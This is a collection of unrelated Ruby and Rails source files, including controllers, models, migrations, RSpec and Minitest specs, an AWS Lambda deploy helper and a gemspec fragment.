node.set_label(:one, :two)
expect(node.labels).to match_array([:one, :two])
end
it 'can set labels without removing any labels' do
node = Neo4j::Node.create
node.set_label(:one, :two)
node = Neo4j::Node.load(node.neo_id)
expect(node.labels).to match_array([:one, :two])
end
end
describe 'remove_label' do
it 'delete given label' do
node = Neo4j::Node.create({}, :one, :two)
node.remove_label(:two)
expect(node.labels).to eq([:one])
end
it 'can delete all labels' do
node = Neo4j::Node.create({}, :one, :two)
node.remove_label(:two, :one)
expect(node.labels).to eq([])
end
end
end
describe 'class methods' do
describe 'create' do
it 'creates a label with a name' do
red = Neo4j::Label.create(@label1)
expect(red.name).to eq(@label1)
end
end
describe 'find_all_nodes' do
it 'returns all nodes with that label' do
result = Neo4j::Label.find_all_nodes(@label1)
expect(result.count).to eq(2)
expect(result).to include(@red1, @red2)
end
end
describe 'find_nodes' do
before(:all) do
stuff = Neo4j::Label.create(@random_label)
stuff.drop_index(:colour) # just in case
stuff.create_index(:colour)
@red = Neo4j::Node.create({colour: 'red', name: 'r'}, @random_label)
@green = Neo4j::Node.create({colour: 'green', name: 'g'}, @random_label)
end
it 'finds nodes using an index' do
result = Neo4j::Label.find_nodes(@random_label, :colour, 'red')
expect(result.count).to eq(1)
expect(result).to include(@red)
end
it 'does not find it if it does not exist' do
result = Neo4j::Label.find_nodes(@random_label, :colour, 'black')
expect(result.count).to eq(0)
end
it 'does not find it if it does not exist using an unknown label' do
result = Neo4j::Label.find_nodes(:unknown_label99, :colour, 'red')
expect(result.count).to eq(0)
end
it 'finds it even if there is no index on it' do
result = Neo4j::Label.find_nodes(@random_label, :name, 'r')
expect(result).to include(@red)
expect(result.count).to eq(1)
end
end
end
describe 'instance methods' do
describe 'create_index' do
it 'creates an index on given properties' do
people = Neo4j::Label.create(:people1)
people.drop_index(:name, :things)
people.create_index(:name)
people.create_index(:things)
expect(people.indexes[:property_keys].count).to eq(2)
end
end
describe 'indexes' do
it 'returns which properties is indexed' do
people = Neo4j::Label.create(:people2)
people.drop_index(:name1, :name2)
people.create_index(:name1)
people.create_index(:name2)
expect(people.indexes[:property_keys]).to match_array([[:name1], [:name2]])
end
end
describe 'drop_index' do
it 'drops a index' do
people = Neo4j::Label.create(:people)
people.drop_index(:name, :foo)
people.create_index(:name)
people.create_index(:foo)
people.drop_index(:foo)
expect(people.indexes[:property_keys]).to eq([[:name]])
people.drop_index(:name)
end
end
end
end
|
class RegisteredApplicationsController < ApplicationController
def index
@applications = RegisteredApplication.all
end
def show
@application = RegisteredApplication.find(params[:id])
@event_groups = @application.events.group_by(&:name)
end
def new
@application = RegisteredApplication.new(url: "http://")
end
def create
@application = RegisteredApplication.new(application_params)
@application.user = current_user
if @application.save
flash[:success] = "Application Added"
redirect_to registered_applications_path
else
render 'new'
end
end
def update
@application = RegisteredApplication.find(params[:id])
@application.title = params[:application][:title]
@application.url = params[:application][:url]
if @application.save
flash[:notice] = " Application was updated."
redirect_to @application
else
flash.now[:alert] = "There was an error saving the application. Please try again."
render :edit
end
end
def destroy
@application = RegisteredApplication.find(params[:id])
if @application.destroy
flash[:notice] = "\"#{@application.title}\" was deleted successfully."
redirect_to registered_applications_path
else
flash.now[:alert] = "There was an error deleting the application."
render :show
end
end
private
def application_params
params.require(:registered_application).permit(:title, :url)
end
end
|
Rails.application.routes.draw do
resources :users, only: [:new, :create]
resources :blogs, only: [:new, :create, :index]
resources :sessions, only: [:new, :create]
root to: "blogs#index"
end
|
# frozen_string_literal: true
require 'json'
EXTRACT_DEPENDENCY_NAME = /"?(.+?)@.+?"?(?:,\s+|\Z)/.freeze
EXTRACT_DEPENDENCY_DETAILS = /(^((?!= ).*?):\n.*?(?:\n\n|\Z))/m.freeze
def direct_dependencies_names
package_json = JSON.parse(File.open('package.json').read)
direct_dependencies = package_json.fetch_values('dependencies', 'devDependencies', 'peerDependencies') {}
direct_dependencies.compact.inject([]) { |memo, v| memo.concat(v.keys) }
end
@dependencies = direct_dependencies_names
yarn_lock_content = File.open('yarn.lock').read
yarn_lock_content.scan(EXTRACT_DEPENDENCY_DETAILS).each do |dependency_block|
direct_dep = @dependencies.include?(dependency_block[1].match(EXTRACT_DEPENDENCY_NAME).to_a[1])
puts dependency_block[0] if direct_dep
end
|
object @inscription
node :errors do |m|
m.errors.full_messages
end
|
class CreateMotivationalMessages < ActiveRecord::Migration
def change
create_table :motivational_messages do |t|
t.integer :month
t.text :english
t.timestamps
end
end
end
|
class IngredientNamesProductTag < ActiveRecord::Base
belongs_to :ingredient_name
belongs_to :product_tag
end |
class FakeArray
attr_reader :args
# you'll need a splat in this class somewhere
def initialize(*args)
@args = args
end
def [](num)
@args[num]
end
def each
@args.each do |x|
yield x
end
end
def first
@args[0]
end
end
|
class Ride < ApplicationRecord
belongs_to :cab
attr_accessor :pink
PER_KM = 2
PINK_CHARGE = 5
#validations
validates :source_latitude, :source_longitude, presence: true
validates :cab, presence: true
validates :destination_latitude, presence: true
validates :destination_longitude, presence: true
after_create :change_availability
def change_availability
cab_status = self.cab.cab_status
cab_status.update_status
end
def calculate_rent
location = Location.new(self.source_latitude, self.source_longitude)
distance = location.distance(self.destination_latitude, self.destination_latitude)
rent = distance * PER_KM
rent = rent + PINK_CHARGE if self.cab.pink
end
end |
class Goal < ApplicationRecord
belongs_to :user
before_save :set_defaults
private
def set_defaults
if self.new_record?
self.remaining = self.target
self.default = true if self.user.goals.count == 0
end
end
end
|
class KeventerEventType
attr_accessor :id, :name, :subtitle, :goal, :description, :recipients, :program, :duration, :faqs,
:elevator_pitch, :learnings, :takeaways, :elevator_pitch, :include_in_catalog,
:public_editions, :average_rating, :net_promoter_score, :surveyed_count,
:promoter_count
def initialize
@id = nil
@name = ""
@subtitle= ""
@goal = ""
@description = ""
@recipients = ""
@program = ""
@faqs = ""
@duration = 0
@elevator_pitch = ""
@learnings = ""
@takeaways = ""
@include_in_catalog = false
@public_editions = Array.new
@average_rating = 0.0
@net_promoter_score = 0
@surveyed_count = 0
@promoter_count = 0
end
def uri_path
@id.to_s + "-" + @name.downcase.gsub(/ /, "-")
end
def has_rate
surveyed_count > 20 && !average_rating.nil?
end
def load_string(xml, field)
element= xml.find_first(field.to_s)
if not element.nil?
send(field.to_s+"=", element.content)
end
end
def load(xml_keventer_event)
@id = xml_keventer_event.find_first('id').content.to_i
@duration = xml_keventer_event.find_first('duration').content.to_i
[:name, :subtitle, :description, :learnings, :takeaways,
:goal, :recipients, :program].each {
|f| load_string(xml_keventer_event, f)
}
@faqs = xml_keventer_event.find_first('faq').content
@elevator_pitch = xml_keventer_event.find_first('elevator-pitch').content
@include_in_catalog = to_boolean( xml_keventer_event.find_first('include-in-catalog').content )
@average_rating = xml_keventer_event.find_first('average-rating').content.nil? ? nil : xml_keventer_event.find_first('average-rating').content.to_f.round(2)
@net_promoter_score = xml_keventer_event.find_first('net-promoter-score').content.nil? ? nil : xml_keventer_event.find_first('net-promoter-score').content.to_i
@surveyed_count = xml_keventer_event.find_first('surveyed-count').content.to_i
@promoter_count = xml_keventer_event.find_first('promoter-count').content.to_i
end
end
|
class LocationsController < ApplicationController
def new
@location = Location.new
end
def create
@location = Location.new
if @location.save
redirect_to root_path, notice: "new location!"
else
render :new
end
end
def show
@locations = Location.order(:name)
@location = Location.find(params[:id])
@eggs = Dragon.where("location_id = ? AND account_id = ?", params[:id], 0)
# testing: coast eggs
if @eggs.size < 3 and
des = dragon_description
nam = generate_name
Dragon.create(account_id: 0, location_id: params[:id], name: nam, description: des)
end
p "#{@eggs.size}"
end
def pikeup
@id = params[:id]
Dragon.find(params[:id]).update(account_id: current_account.id)
end
private
def dragon_description
coast = [
"This egg has an orange aura radiating from it.",
"This egg is tiny and made out of several pieces of paper folded together.",
"This light egg is floating in the air.",
"This egg has a faint green glow around it.",
"It's bright. And pink.",
"This egg is soft and smells uncannily like cheese.",
"This egg reminds you of the sea."
]
if @location.name == 'Coast'
return coast.sample
else
return nil
end
end
def generate_name
a = ["q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "a", "s", "d", "f", "g", "h", "j", "k", "l", "z", "x", "c", "v", "b", "n", "m", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "A", "S", "D", "F", "G", "H", "J", "K", "L", "Z", "X", "C", "V", "B", "N", "M"]
return a.shuffle.sample(5).join
end
end
|
module Setup
class Snippet
include Mongoid::Document
include CrossOrigin::Document
include Cenit::MultiTenancy::Scoped
origins :default, -> { Cenit::MultiTenancy.tenant_model.current && :owner }, :shared
field :code, type: String, default: ''
end
end
|
require "aws/s3"
class Array
def export_csv(filename)
csv_string = ""
self.each do |e|
csv_string << e.to_csv
end
config = YAML.load(File.open("#{Rails.root}/config/s3.yml"))[Rails.env]
s3 = AWS::S3.new
bucket = s3.buckets[config['bucket']]
bucket.objects[filename].write(csv_string)
end
def uniq_by!(&blk)
transforms = []
self.each do |el|
should_remove = transforms.include?(t=blk[el])
transforms << t
self.delete(el) if should_remove
end
end
def mean
inject(:+).to_f / size
end
def car
self[0]
end
def cdr
self[1..self.length-1]
end
def each_perm
if self.size == 1
yield self
else
self.each_index do |i|
tmp, e = self.dup, self[i]
tmp.delete_at(i)
tmp.each_perm do |x|
yield e.to_a + x
end
end
end
end
end
|
class TasksController < ApplicationController
before_action :load_subject, only: :create
def create
@task = @subject.tasks.build task_params
if @task.save
load_tasks
respond_to :js
else
flash[:danger] = t "controllers.tasks.create_task_success"
redirect_to subject_path(@subject)
end
end
private
def task_params
params.require(:task).permit :title, :description
end
def load_subject
@subject = Subject.find_by id: params[:subject_id]
return if @subject
flash[:danger] = t "controllers.tasks.subject_not_found"
redirect_to subjects_path
end
end
|
require 'aws-sdk'
require 'deploy/aws/utils'
require 'pp'
class LambdaAws
DOES_NOT_EXIST = nil
include Lambda
include InternalUtils
def initialize(options)
@verbose = options.verbose
@verbose2 = options.verbose2
@creds = load_creds(options.credentials)
@client = Aws::Lambda::Client.new(
region: options.region,
credentials: @creds,
validate_params: true)
@functions = {}
end
def get_function_state(func)
opts = {:function_name => func.name }
begin
conf = @client.get_function_configuration(opts)
rescue Aws::Lambda::Errors::ResourceNotFoundException
conf = DOES_NOT_EXIST
end
@functions[func.name] = conf
return conf
end
def deploy(jar, func)
jar.sub! "s3://", ""
parts = jar.split "/"
bucket = parts.shift
key = File.join(parts)
code = {
s3_bucket: bucket,
s3_key: key
}
conf = @functions[func.name]
if conf == DOES_NOT_EXIST
create(func, code)
else
update(func, code, conf)
end
end
def update_config(function)
version = @client.update_function_configuration(function.to_aws_hash()).version
end
def promote(definition, stage, version)
func = definition.func
begin
info = @client.get_alias({function_name: func.name, alias: stage})
# alias exists, so move it to the new version
@client.update_alias({function_name: func.name,
alias: stage,
function_version: version,
description: "Updating #{stage} to #{version} from #{info.function_version}"})
rescue Aws::Lambda::Errors::ResourceNotFoundException
# alias doesn't exist, so just create it
@client.create_alias({function_name: func.name,
alias: stage,
function_version: version,
description: "Promoting #{version} to #{stage} - no previous " +
"version found for alias"})
end
end
private
def create(function, code)
puts "Creating function:" if @verbose
pp(function) if @verbose2
hash = function.to_aws_hash
hash[:code] = code
hash[:publish] = true
pp hash if @verbose
@client.create_function(hash).version
end
def update(function, code, conf)
puts "Updating #{function.name}"
options = {
function_name: function.name,
publish: true
}
options.merge! code
@client.update_function_code(options)
version = update_config(function)
end
end
|
class OrderSerializer < ActiveModel::Serializer
attributes :id
has_many :order_items
has_many :products, through: :order_items
end
|
class Index::PostHistory < ApplicationRecord
belongs_to :user,
class_name: 'Index::User',
foreign_key: :user_id,
optional: true
belongs_to :post, -> { with_all },
class_name: 'Index::Post',
foreign_key: :post_id
default_scope { order(updated_at: :DESC) }
# 浏览记录
# 一天新建一个浏览记录
# 同一个用户或者IP每6小时可以重新计算一次浏览记录
def self.add post, ip, user = nil
h = self.find_or_initialize_by(post_id: post.id, remote_ip: ip)
if h.id
if (Time.now - h.updated_at > (Time.now - Time.now.midnight))
h = self.new(post_id: post.id, remote_ip: ip)
end
end
h.user = user if user
h.times += 1
h.save!
end
private
end
|
require 'test_helper'
class Finance::ChargingInvoiceStatesTest < ActionDispatch::IntegrationTest
context 'when unpaid' do
setup do
@invoice = FactoryBot.create(:invoice,
:period => Month.new(Time.zone.local(1984, 1, 1)))
@invoice.stubs(:cost).returns(100.to_has_money('EUR'))
@invoice.issue_and_pay_if_free!
@invoice.mark_as_unpaid!
end
should 'charge the buyer' do
@invoice.buyer_account.stubs(:charge!).with(any_parameters).returns(true)
@invoice.charge!
assert @invoice.paid?, 'Should be paid after successful charge'
end
should 'be markable as paid' do
@invoice.pay!
assert @invoice.paid?
end
end
context 'when 3scale charging provider' do
setup do
@master = master_account
@provider = FactoryBot.create(:provider_account)
@invoice = FactoryBot.create(:invoice,
provider_account: @master,
buyer_account: @provider,
period: Month.new(Time.zone.local(1984, 1, 1)))
@invoice.stubs(:cost).returns(100.to_has_money('EUR'))
@invoice.issue_and_pay_if_free!
@invoice.mark_as_unpaid!
end
should 'charge the provider' do
@invoice.buyer_account.stubs(:charge!).with(any_parameters).returns(true)
@invoice.buyer_account.bought_plan.update_attributes!(name: 'Paid', cost_per_month: 100)
ThreeScale::Analytics.expects(:track).with(@provider.first_admin!, 'Charged Invoice',
{plan: 'Paid', period: 'January 01, 1984 - January 31, 1984', revenue: 100.0})
@invoice.charge!
assert @invoice.paid?, 'Should be paid after successful charge'
end
end
end
|
# frozen_string_literal: true
require 'test_helper'
class HousePresenterTest < ActiveSupport::TestCase
test 'statuses returns an array of statuses' do
house = StubHouse.new
statuses = HousePresenter.new(house, nil).statuses
assert_equal Array, statuses.class
err_msg = 'House did not return a list of statuses'
assert statuses.include?('Vacant'), err_msg
end
test 'returns an array of street names' do
house1 = StubHouse.new(1, '123', 'A')
house2 = StubHouse.new(2, '456', 'B')
House.stub(:all, [house1, house2]) do
streets = HousePresenter.new(nil, nil).street_names
assert_equal %w[A B], streets
end
end
test 'select_list returns a list of streets for selection' do
house1 = StubHouse.new(1, '123', 'A')
house2 = StubHouse.new(2, '456', 'B')
House.stub(:all, [house1, house2]) do
list = HousePresenter.new(nil, nil).select_list
assert_equal [['123 A', 1], ['456 B', 2]], list
end
end
test 'for_select returns grouped_options_for_select helper' do
house1 = StubHouse.new(1, '123', 'A')
house2 = StubHouse.new(2, '456', 'B')
House.stub(:all, [house1, house2]) do
list = HousePresenter.new(nil, nil).for_select
expected = { 'A' => [['123', 1]], 'B' => [['456', 2]] }
assert_equal expected, list
end
end
test 'returns a formatted address for a house' do
house = StubHouse.new(1, '123', 'A')
hp = HousePresenter.new(house, nil)
assert_equal '123 A', hp.house_address
end
test "returns addresses of a house's linked lots" do
lot1 = StubHouse.new(2, '456', 'B')
lot2 = StubHouse.new(3, '789', 'B')
house = StubHouse.new(1, '123', 'A', [lot1, lot2])
hp = HousePresenter.new(house, nil)
assert_equal '456 B; 789 B', hp.linked_lot_addresses
end
test "returns '' if a house has no linked lots" do
house = StubHouse1.new(1, '123 A', nil)
hp = HousePresenter.new(house, nil)
assert_equal '', hp.linked_lot_addresses
end
test 'returns contributions for the house for a given year' do
house = StubHouse.new(1, '123', 'A')
contrib = StubContribution.new(1, 59_900)
hp = HousePresenter.new(house, nil)
Contributions::GetForHouseAndYear.stub(:call, [contrib]) do
assert_equal 59_900, hp.contributions(year: 2020)
end
end
end
|
class PagesController < ApplicationController
before_action :store_location, only: :cart
def home
@valid_offers = Offer.valid_offers.order(collect_starts_at: :asc)
@finished_offers = Offer.finished_offers.order(collect_starts_at: :desc).limit(6)
end
def about
end
def cart
end
def terms
end
def delivery
end
def finished_offers
@finished_offers = Offer.finished_offers
.includes(:producer, :deliver_coordinator)
.order(collect_starts_at: :desc)
end
end
|
module Ahoy
module Views
module Viewer
extend ActiveSupport::Concern
module ClassMethods
def ahoy_viewer
has_many :ahoy_visits, as: :visitor, class_name: 'Ahoy::Event'
has_many :ahoy_viewed, through: :ahoy_visits, source: :visited
end
end
end
end
end
|
require 'spec_helper'
describe VCAP::MongodbController::MongoClusterBuilder do
def create_config(params)
VCAP::MongodbController::Config.new({
message_bus_uris: ["some_uri"],
pid_filename: "some file",
master_node: params[:master],
node_config_file: "etc/node_config.yml",
mongod_config_file: "etc/mongo.conf"
})
end
let(:message_bus) { double(:nats) }
let(:mongodb_driver) { double(:mongodb_driver) }
let(:provision_config) { double(:provision_config) }
subject { described_class.new(config, message_bus, provision_config,mongodb_driver) }
context "master node" do
context "startup" do
let(:config) { create_config(master: true)}
before{ message_bus.stub(:subscribe).with("mongodb.advertise") }
before{ message_bus.stub(:subscribe).with("mongodb.provision") }
it "should run MongoDB with existant config" do
mongodb_driver.should receive(:update_config)
mongodb_driver.should receive(:stop)
mongodb_driver.should receive(:start)
mongodb_driver.should receive(:run_on_mongo)
allow(provision_config).to receive(:[]).with(:configured?).and_return(false)
allow(provision_config).to receive(:update)
end
after { subject.run }
end
context "slave attaches" do
context "startup" do
let(:config) { create_config(master: false)}
let(:node_config) { double(:node_config) }
let(:response) { {command: "update_config", data: {replication_set: 'rs1'}} }
before do
expect(provision_config).to receive(:merge).and_return(node_config)
expect(provision_config).to receive(:update)
message_bus.stub(:request).with("mongodb.advertise", anything).
and_yield(response)
expect(mongodb_driver).to receive(:update_config).with({replication_set: 'rs1'})
expect(mongodb_driver).to receive(:stop)
expect(mongodb_driver).to receive(:start)
end
it "updates config" do
subject.run
end
end
end
end
end
|
class AddSalesDateToComparisonItems < ActiveRecord::Migration[5.2]
def change
add_column :comparison_items, :sales_date, :string
end
end
|
require 'spec_helper'
describe Player do
context "#initialize" do
it { expect{Player.new()}.to raise_error ArgumentError }
player = Player.new( {:name => "Andrew", :mark=> "o"} )
it { expect( player.name ).to eq "Andrew"}
it { expect( player.mark ).to eq "o"}
info = {:name => "Bob", :mark => "o"}
it { expect {Player.new(info)}.to_not raise_error }
end
end |
# encoding: utf-8
module ActiveAdmin
module Views
class IndexAsGallery < ActiveAdmin::Component
def build(page_presenter, collection)
@page_presenter = page_presenter
@collection = collection
@resource_name = active_admin_config.resource_name.to_s.underscore.parameterize('_')
@options = active_admin_config.dsl.sortable_options
instance_eval &page_presenter.block if page_presenter.block
add_class "index"
build_table
end
# Adds links to View, Edit and Delete
def actions(options = {}, &block)
options = { :defaults => true }.merge(options)
@default_actions = options[:defaults]
@other_actions = block
end
def number_of_columns
@page_presenter[:columns] || default_number_of_columns
end
def self.index_name
"gallery"
end
protected
def build_table
sort_url = if (( sort_url_block = @options[:sort_url] ))
sort_url_block.call(self)
else
url_for(:action => :sort)
end
resource_selection_toggle_panel if active_admin_config.batch_actions.any?
mass_upl
div :class=>"index_as_gallery sortable", 'data-sortable-url'=>sort_url do
@collection.each do |item|
item_gal(item)
end
div( :class=>"clear")
end
end
def item_gal item
cover_field = @page_presenter[:cover_field] ? @page_presenter[:cover_field] : :cover
cover = @page_presenter[:cover] ? true : false
div :class=> "itemGal", :id=>"#{@resource_name}_#{item.id}" do
text_node image_tag(item.image_url(:admin), :height => '116', :width => '116')
div :class=>"infoHover" do
text_node link_to('Изменить', url_for(:action => :edit, :id=>item.id), :style => 'color:#fff;')
div( :class=>"clear")
resource_selection_cell(item) if active_admin_config.batch_actions.any?
label('Удалить')
div( :class=>"clear")
if cover
text_node radio_button_tag( 'cover', item.id, item.send(cover_field) ? true : false)
label('Обложка')
div( :class=>"clear")
end
end
end
end
def mass_upl
file_field = @page_presenter[:file_field] ? @resource_name+"[#{@page_presenter[:file_field]}]" :
@resource_name+'[image]'
action = @page_presenter[:upl_action] ? @page_presenter[:upl_action] : 'upl'
upl_url = url_for(:action => :index)+'/'+action
render :partial => 'mass_upl', :locals => {:upl_url => upl_url, :file_field => file_field}
end
end
end
end |
# == Schema Information
#
# Table name: seller_types
#
# id :integer not null, primary key
# name :string(255) not null
# auction_id :integer not null
# created_at :datetime
# updated_at :datetime
# packercalc :string(6) default("NOCALC")
# buyercalc :string(6) default("NOCALC")
#
class SellerTypesController < ApplicationController
def index
@auction = Auction.find(params[:auction_id])
@seller_types = @auction.seller_types
end
def new
@auction = Auction.find(params[:auction_id])
@seller_type = SellerType.new
@seller_type.auction = @auction
end
def create
@auction = Auction.find(params[:auction_id])
@seller_type = SellerType.new(seller_type_params)
@seller_type.auction = @auction
if @seller_type.save
redirect_to :auction_seller_types
else
render 'new'
end
end
def edit
@seller_type = SellerType.find(params[:id])
@auction = @seller_type.auction
end
def update
@seller_type = SellerType.find(params[:id])
@auction = @seller_type.auction
if @seller_type.update(seller_type_params)
redirect_to :auction_seller_types
else
render 'edit'
end
end
def delete
@seller_type = SellerType.find(params[:id])
@auction = @seller_type.auction
end
def destroy
@seller_type = SellerType.find(params[:id])
if @seller_type.destroy
redirect_to :auction_seller_types
else
render 'delete'
end
end
private
def seller_type_params
params.require(:seller_type).permit(:name,:packercalc,:buyercalc)
end
end
|
require_relative "spec_helper"
require 'delegate'
describe "Sequel::Plugins::DefaultsSetter" do
before do
@db = db = Sequel.mock
def db.supports_schema_parsing?() true end
def db.schema(*) [] end
db.singleton_class.send(:alias_method, :schema, :schema)
@c = c = Class.new(Sequel::Model(db[:foo]))
@c.instance_variable_set(:@db_schema, {:a=>{}})
@c.plugin :defaults_setter
@c.columns :a
@pr = proc do |x|
db.define_singleton_method(:schema){|*| [[:id, {:primary_key=>true}], [:a, {:ruby_default => x, :primary_key=>false}]]}
db.singleton_class.send(:alias_method, :schema, :schema)
c.dataset = c.dataset; c
end
end
after do
Sequel.datetime_class = Time
end
it "should set default value upon initialization" do
@pr.call(2).new.a.must_equal 2
end
it "should not mark the column as modified" do
@pr.call(2).new.changed_columns.must_equal []
end
it "should not set a default of nil" do
@pr.call(nil).new.class.default_values.must_equal({})
end
it "should set a default of false" do
@pr.call(false).new.a.must_equal false
end
it "should handle Sequel::CURRENT_DATE default by using the current Date" do
@pr.call(Sequel::CURRENT_DATE).new.a.must_equal Date.today
end
it "should handle Sequel::CURRENT_TIMESTAMP default by using the current Time" do
t = @pr.call(Sequel::CURRENT_TIMESTAMP).new.a
t.must_be_kind_of(Time)
(t - Time.now).must_be :<, 1
end
it "should not reuse the same default hash for multiple objects" do
h = {}
c = @pr.call(h)
c.new.a.must_equal(h)
c.new.a.wont_be_same_as c.new.a
c.default_values[:a].must_be_kind_of Proc
end
it "should not reuse the same default array for multiple objects" do
h = []
c = @pr.call(h)
c.new.a.must_equal(h)
c.new.a.wont_be_same_as c.new.a
c.default_values[:a].must_be_kind_of Proc
end
it "should not reuse the same default hash delegate for multiple objects" do
h = DelegateClass(Hash).new({})
c = @pr.call(h)
c.new.a.must_equal(h)
c.new.a.wont_be_same_as c.new.a
c.default_values[:a].must_be_kind_of Proc
end
it "should not reuse the same default array delegate for multiple objects" do
h = DelegateClass(Array).new([])
c = @pr.call(h)
c.new.a.must_equal(h)
c.new.a.wont_be_same_as c.new.a
c.default_values[:a].must_be_kind_of Proc
end
it "should use other object delegates as-is" do
h = DelegateClass(Integer).new(1)
c = @pr.call(h)
c.new.a.must_equal(h)
c.new.a.object_id.must_equal c.new.a.object_id
c.default_values[:a].object_id.must_equal h.object_id
end
it "should handle :callable_default values in schema in preference to :ruby_default" do
@db.define_singleton_method(:schema) do |*|
[[:id, {:primary_key=>true}],
[:a, {:ruby_default => Time.now, :callable_default=>lambda{Date.today}, :primary_key=>false}]]
end
@c.dataset = @c.dataset
@c.new.a.must_equal Date.today
end
it "should handle Sequel::CURRENT_TIMESTAMP default by using the current DateTime if Sequel.datetime_class is DateTime" do
Sequel.datetime_class = DateTime
t = @pr.call(Sequel::CURRENT_TIMESTAMP).new.a
t.must_be_kind_of(DateTime)
(t - DateTime.now).must_be :<, 1/86400.0
end
it "should work correctly with the current_datetime_timestamp extension" do
@db.autoid = 1
@db.fetch = {:id=>1}
@c.dataset = @c.dataset.extension(:current_datetime_timestamp)
c = @pr.call(Sequel::CURRENT_TIMESTAMP)
@db.sqls
o = c.new
o.a = o.a
o.save
@db.sqls.must_equal ["INSERT INTO foo (a) VALUES (CURRENT_TIMESTAMP)", "SELECT * FROM foo WHERE id = 1"]
end
it "should cache default values if :cache plugin option is used" do
@c.plugin :defaults_setter, :cache => true
@c.default_values[:a] = 'a'
o = @c.new
o.a.must_equal 'a'
o.values[:a].must_equal 'a'
o.a.must_be_same_as(o.a)
end
it "should not cache default values if :cache plugin option is used and there is no default values" do
@c.plugin :defaults_setter, :cache => true
o = @c.new
o.a.must_be_nil
o.values.must_be_empty
o.a.must_be_nil
o.a.must_be_same_as(o.a)
end
it "should not override a given value" do
@pr.call(2)
@c.new('a'=>3).a.must_equal 3
@c.new('a'=>nil).a.must_be_nil
end
it "should work correctly when subclassing" do
Class.new(@pr.call(2)).new.a.must_equal 2
end
it "should contain the default values in default_values" do
@pr.call(2).default_values.must_equal(:a=>2)
@c.default_values.clear
@pr.call(nil).default_values.must_equal({})
end
it "should allow modifications of default values" do
@pr.call(2)
@c.default_values[:a] = 3
@c.new.a.must_equal 3
end
it "should allow proc default values" do
@pr.call(2)
@c.default_values[:a] = proc{3}
@c.new.a.must_equal 3
end
it "should have procs that set default values set them to nil" do
@pr.call(2)
@c.default_values[:a] = proc{nil}
@c.new.a.must_be_nil
end
it "should work in subclasses" do
@pr.call(2)
@c.default_values[:a] = proc{1}
c = Class.new(@c)
@c.new.a.must_equal 1
c.new.a.must_equal 1
c.default_values[:a] = proc{2}
@c.new.a.must_equal 1
c.new.a.must_equal 2
end
it "should set default value upon initialization when plugin loaded without dataset" do
db = @db
@c = c = Class.new(Sequel::Model)
@c.plugin :defaults_setter
@c.instance_variable_set(:@db_schema, {:a=>{}})
@c.dataset = @db[:foo]
@c.columns :a
proc{|x| db.define_singleton_method(:schema){|*| [[:id, {:primary_key=>true}], [:a, {:ruby_default => x, :primary_key=>false}]]}; c.dataset = c.dataset; c}.call(2).new.a.must_equal 2
end
it "should work correctly on a model without a dataset" do
@pr.call(2)
c = Class.new(Sequel::Model(@db[:bar]))
c.plugin :defaults_setter
c.default_values.must_equal(:a=>2)
end
it "should freeze default values when freezing model class" do
c = Class.new(Sequel::Model(@db[:bar]))
c.plugin :defaults_setter
c.freeze
c.default_values.frozen?.must_equal true
end
end
|
require 'test_helper'
class UserTest < ActiveSupport::TestCase
def setup
@user = users(:lana)
end
test "associated posts should be destroyed" do
@user.posts.create!(content: "Lorem ipsum")
assert_difference 'Post.count', -1 do
@user.destroy
end
end
end
|
class Admin::ClassTemplateClassTypesController < Admin::ControllerBase
before_action :find_class_template_class_type, only: :destroy
def create
class_template_class_type = ClassTemplateClassType.create create_params
if class_template_class_type.persisted?
flash[:success] = "Class template linked to class type"
redirect_to request.referer || edit_admin_class_template_path(class_template_class_type.class_template)
else
redirect_to request.referer || root_path
end
end
def destroy
@class_template_class_type.destroy!
flash[:success] = "Class template unlinked from class type"
redirect_to request.referer || edit_admin_class_template_path(@class_template_class_type.class_template)
end
private
def find_class_template_class_type
@class_template_class_type = ClassTemplateClassType.find_by id: params[:id]
if @class_template_class_type.nil?
flash[:danger] = "Could not find class template class type"
redirect_to request.referer
end
end
def create_params
params.require(:class_template_class_type).permit(ClassTemplateClassType::PERMITTED_PARAMS)
end
end
|
class ImportController < ApplicationController
before_action :authenticate_user!
before_action :set_account
before_action :ensure_account_is_mine
before_action :set_season
def index
@matches = nil
@match_count = @account.matches.in_season(@season_number).count
end
def create
file = params[:csv]
unless file
flash[:alert] = 'No CSV file was provided.'
return redirect_to(import_path(@season_number, @account))
end
@matches = @account.import(@season_number, path: file.path)
results = @matches.map(&:persisted?)
@match_count = @account.matches.in_season(@season_number).count
if @matches.empty?
flash[:alert] = 'No matches were found in the selected file.'
render 'import/index'
elsif results.all?
flash[:notice] = "Successfully imported #{@matches.size} " +
"#{'match'.pluralize(@matches.size)} to #{@account} season #{@season}."
redirect_to matches_path(@season_number, @account)
elsif results.any?
success_count = @matches.select(&:persisted?).size
failure_count = @matches.select(&:new_record?).size
flash[:alert] = "Imported #{success_count} #{'match'.pluralize(success_count)}, but " \
"#{failure_count} #{'match'.pluralize(failure_count)} failed to import to " \
"#{@account} season #{@season}."
render 'import/index'
else
flash[:error] = "Failed to import #{@matches.size} #{'match'.pluralize(@matches.size)} to " \
"#{@account} season #{@season}."
render 'import/index'
end
end
end
|
class User < ApplicationRecord
enum sex: {male: 1, female: 2, trans: 3}
has_many :bills
VALID_EMAIL_REGEX = /\A[\w+\-.]+@[a-z\d\-.]+\.[a-z]+\z/i
validates :email, format: {with: VALID_EMAIL_REGEX}, presence: true,
uniqueness: {case_sensitive: false},
length: {maximum: Settings.users.email.max_length}
validates :password, presence: true,
length: {minimum: Settings.users.password.min_length}
validates :username, presence: true,
length: {maximum: Settings.users.username.max_length}
validates :name, presence: true,
length: {maximum: Settings.users.name.max_length}
validates :address, presence: true,
length: {maximum: Settings.users.address.max_length}
validates :sex, presence: true, inclusion: {in: sexes.keys}
before_save :email_downcase
has_secure_password
class << self
def sex_attributes_for_select
sexes.map do |sex, _|
[I18n.t("activerecord.attributes.#{model_name.i18n_key}.sexes.#{sex}"),
ex]
end
end
end
private
def email_downcase
self.email = email.downcase
end
end
|
# coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'i18n_accessors/version'
Gem::Specification.new do |spec|
spec.name = "i18n_accessors"
spec.version = I18nAccessors::VERSION
spec.authors = ["Chris Salzberg"]
spec.email = ["chris@dejimata.com"]
spec.summary = %q{Define locale-specific attribute accessors.}
spec.homepage = "https://github.com/shioyama/i18n_accessors"
spec.license = "MIT"
spec.files = Dir['{lib/**/*,[A-Z]*}']
spec.require_paths = ["lib"]
